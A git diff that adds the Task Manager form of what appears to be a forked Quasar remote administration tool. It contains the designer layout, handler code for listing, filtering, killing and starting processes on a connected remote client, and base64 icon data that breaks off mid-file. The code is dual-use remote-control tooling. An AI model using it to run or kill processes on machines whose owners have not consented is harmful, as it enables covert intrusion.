System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs new file mode 100755 index 0000000..4200d3f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.Designer.cs @@ -0,0 +1,249 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmTaskManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmTaskManager)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.killProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.startProcessToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); + this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.searchPanel = new System.Windows.Forms.Panel(); + this.txtSearch = new System.Windows.Forms.TextBox(); + this.lblSearch = new System.Windows.Forms.Label(); + this.lstTasks = new Quasar.Server.Controls.AeroListView(); + this.hProcessname = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hTitle = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.processesToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.contextMenuStrip.SuspendLayout(); + this.tableLayoutPanel.SuspendLayout(); + this.searchPanel.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.killProcessToolStripMenuItem, + this.startProcessToolStripMenuItem, + this.lineToolStripMenuItem, + this.refreshToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(167, 88); + // + // killProcessToolStripMenuItem + // + this.killProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.cancel; + this.killProcessToolStripMenuItem.Name = "killProcessToolStripMenuItem"; + this.killProcessToolStripMenuItem.Size = new System.Drawing.Size(166, 26); + this.killProcessToolStripMenuItem.Text = "Kill Process"; + this.killProcessToolStripMenuItem.Click += new System.EventHandler(this.killProcessToolStripMenuItem_Click); + // + // startProcessToolStripMenuItem + // + this.startProcessToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_go; + this.startProcessToolStripMenuItem.Name = "startProcessToolStripMenuItem"; + this.startProcessToolStripMenuItem.Size = new System.Drawing.Size(166, 26); + this.startProcessToolStripMenuItem.Text = "Start Process"; + this.startProcessToolStripMenuItem.Click += new System.EventHandler(this.startProcessToolStripMenuItem_Click); + // + // lineToolStripMenuItem + // + this.lineToolStripMenuItem.Name = "lineToolStripMenuItem"; + this.lineToolStripMenuItem.Size = new System.Drawing.Size(163, 6); + // + // refreshToolStripMenuItem + // + this.refreshToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.refresh; + this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem"; + this.refreshToolStripMenuItem.Size = new System.Drawing.Size(166, 26); + this.refreshToolStripMenuItem.Text = "Refresh"; + this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.searchPanel, 0, 0); + this.tableLayoutPanel.Controls.Add(this.lstTasks, 0, 1); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 2); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 3; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 43F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 28F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1026, 616); + this.tableLayoutPanel.TabIndex = 2; + // + // searchPanel + // + this.searchPanel.Controls.Add(this.txtSearch); + this.searchPanel.Controls.Add(this.lblSearch); + this.searchPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.searchPanel.ForeColor = System.Drawing.Color.White; + this.searchPanel.Location = new System.Drawing.Point(3, 3); + this.searchPanel.Name = "searchPanel"; + this.searchPanel.Size = new System.Drawing.Size(1020, 37); + this.searchPanel.TabIndex = 3; + // + // txtSearch + // + this.txtSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtSearch.ForeColor = System.Drawing.Color.White; + this.txtSearch.Location = new System.Drawing.Point(55, 11); + this.txtSearch.Name = "txtSearch"; + this.txtSearch.Size = new System.Drawing.Size(956, 26); + this.txtSearch.TabIndex = 1; + this.txtSearch.TextChanged += new System.EventHandler(this.txtSearch_TextChanged); + // + // lblSearch + // + this.lblSearch.AutoSize = true; + this.lblSearch.ForeColor = System.Drawing.Color.White; + this.lblSearch.Location = new System.Drawing.Point(9, 14); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(40, 19); + this.lblSearch.TabIndex = 0; + this.lblSearch.Text = "Filter:"; + // + // lstTasks + // + this.lstTasks.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hProcessname, + this.hPID, + this.hTitle}); + this.lstTasks.ContextMenuStrip = this.contextMenuStrip; + this.lstTasks.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstTasks.ForeColor = System.Drawing.Color.White; + this.lstTasks.FullRowSelect = true; + this.lstTasks.GridLines = true; + this.lstTasks.HideSelection = false; + this.lstTasks.Location = new System.Drawing.Point(4, 47); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstTasks.LvwColumnSorter = listViewColumnSorter1; + this.lstTasks.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstTasks.Name = "lstTasks"; + this.lstTasks.Size = new System.Drawing.Size(1018, 537); + this.lstTasks.TabIndex = 1; + this.lstTasks.UseCompatibleStateImageBehavior = false; + this.lstTasks.View = System.Windows.Forms.View.Details; + this.lstTasks.ColumnClick += new System.Windows.Forms.ColumnClickEventHandler(this.lstTasks_ColumnClick); + // + // hProcessname + // + this.hProcessname.Text = "Processname"; + this.hProcessname.Width = 202; + // + // hPID + // + this.hPID.Text = "PID"; + // + // hTitle + // + this.hTitle.Text = "Title"; + this.hTitle.Width = 531; + // + // statusStrip + // + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.processesToolStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 588); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1026, 28); + this.statusStrip.TabIndex = 2; + this.statusStrip.Text = "statusStrip1"; + // + // processesToolStripStatusLabel + // + this.processesToolStripStatusLabel.Name = "processesToolStripStatusLabel"; + this.processesToolStripStatusLabel.Size = new System.Drawing.Size(87, 22); + this.processesToolStripStatusLabel.Text = "Processes: 0"; + // + // FrmTaskManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(1026, 616); + this.Controls.Add(this.tableLayoutPanel); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(434, 549); + this.Name = "FrmTaskManager"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Task Manager []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmTaskManager_FormClosing); + this.Load += new System.EventHandler(this.FrmTaskManager_Load); + this.contextMenuStrip.ResumeLayout(false); + this.tableLayoutPanel.ResumeLayout(false); + this.tableLayoutPanel.PerformLayout(); + this.searchPanel.ResumeLayout(false); + this.searchPanel.PerformLayout(); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem killProcessToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem refreshToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem startProcessToolStripMenuItem; + private System.Windows.Forms.ColumnHeader hProcessname; + private System.Windows.Forms.ColumnHeader hPID; + private System.Windows.Forms.ColumnHeader hTitle; + private System.Windows.Forms.ToolStripSeparator lineToolStripMenuItem; + private AeroListView lstTasks; + private System.Windows.Forms.TableLayoutPanel tableLayoutPanel; + private System.Windows.Forms.StatusStrip statusStrip; + private System.Windows.Forms.ToolStripStatusLabel processesToolStripStatusLabel; + private System.Windows.Forms.Panel searchPanel; + private System.Windows.Forms.TextBox txtSearch; + private System.Windows.Forms.Label lblSearch; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs new file mode 100755 index 0000000..b24ce7e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.cs @@ -0,0 +1,216 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Controls; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmTaskManager : Form + { + /// + /// The client which can be used for the task manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly TaskManagerHandler _taskManagerHandler; + + /// + /// Holds the opened task manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Stores all processes for filtering + /// + private Process[] _allProcesses = new Process[0]; + + /// + /// Creates a new task manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the task manager form. + /// + /// Returns a new task manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmTaskManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmTaskManager f = new FrmTaskManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the task manager form. + public FrmTaskManager(Client client) + { + _connectClient = client; + _taskManagerHandler = new TaskManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the task manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _taskManagerHandler.ProgressChanged += TasksChanged; + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); + } + + /// + /// Unregisters the task manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + _taskManagerHandler.ProgressChanged -= TasksChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void TasksChanged(object sender, Process[] processes) + { + _allProcesses = processes; + ApplyFilter(); + } + + private void ApplyFilter() + { + string searchText = txtSearch.Text.ToLower(); + + lstTasks.Items.Clear(); + + foreach (var process in _allProcesses) + { + // Apply filter + if (!string.IsNullOrEmpty(searchText)) + { + bool matchesName = process.Name.ToLower().Contains(searchText); + bool matchesPid = process.Id.ToString().Contains(searchText); + bool matchesTitle = process.MainWindowTitle.ToLower().Contains(searchText); + + if (!matchesName && !matchesPid && !matchesTitle) + continue; + } + + ListViewItem lvi = + new ListViewItem(new[] {process.Name, process.Id.ToString(), process.MainWindowTitle}); + + // Highlight Quasar client process in red + if (process.Name.Equals("Client.exe", StringComparison.OrdinalIgnoreCase) || + process.Name.Equals("Client", StringComparison.OrdinalIgnoreCase)) + { + lvi.ForeColor = System.Drawing.Color.Red; + } + + lstTasks.Items.Add(lvi); + } + + processesToolStripStatusLabel.Text = $"Processes: {lstTasks.Items.Count} / {_allProcesses.Length}"; + } + + private void txtSearch_TextChanged(object sender, EventArgs e) + { + ApplyFilter(); + } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + string text = string.Empty; + switch (action) + { + case ProcessAction.Start: + text = result ? "Process started successfully" : "Failed to start process"; + break; + case ProcessAction.End: + text = result ? "Process ended successfully" : "Failed to end process"; + break; + } + + processesToolStripStatusLabel.Text = text; + } + + private void FrmTaskManager_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient); + _taskManagerHandler.RefreshProcesses(); + } + + private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem lvi in lstTasks.SelectedItems) + { + _taskManagerHandler.EndProcess(int.Parse(lvi.SubItems[1].Text)); + } + } + + private void startProcessToolStripMenuItem_Click(object sender, EventArgs e) + { + string processName = string.Empty; + if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK) + { + _taskManagerHandler.StartProcess(processName); + } + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + _taskManagerHandler.RefreshProcesses(); + } + + private void lstTasks_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstTasks.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx new file mode 100755 index 0000000..77bb538 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmTaskManager.resx @@ -0,0 +1,665 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 166, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + 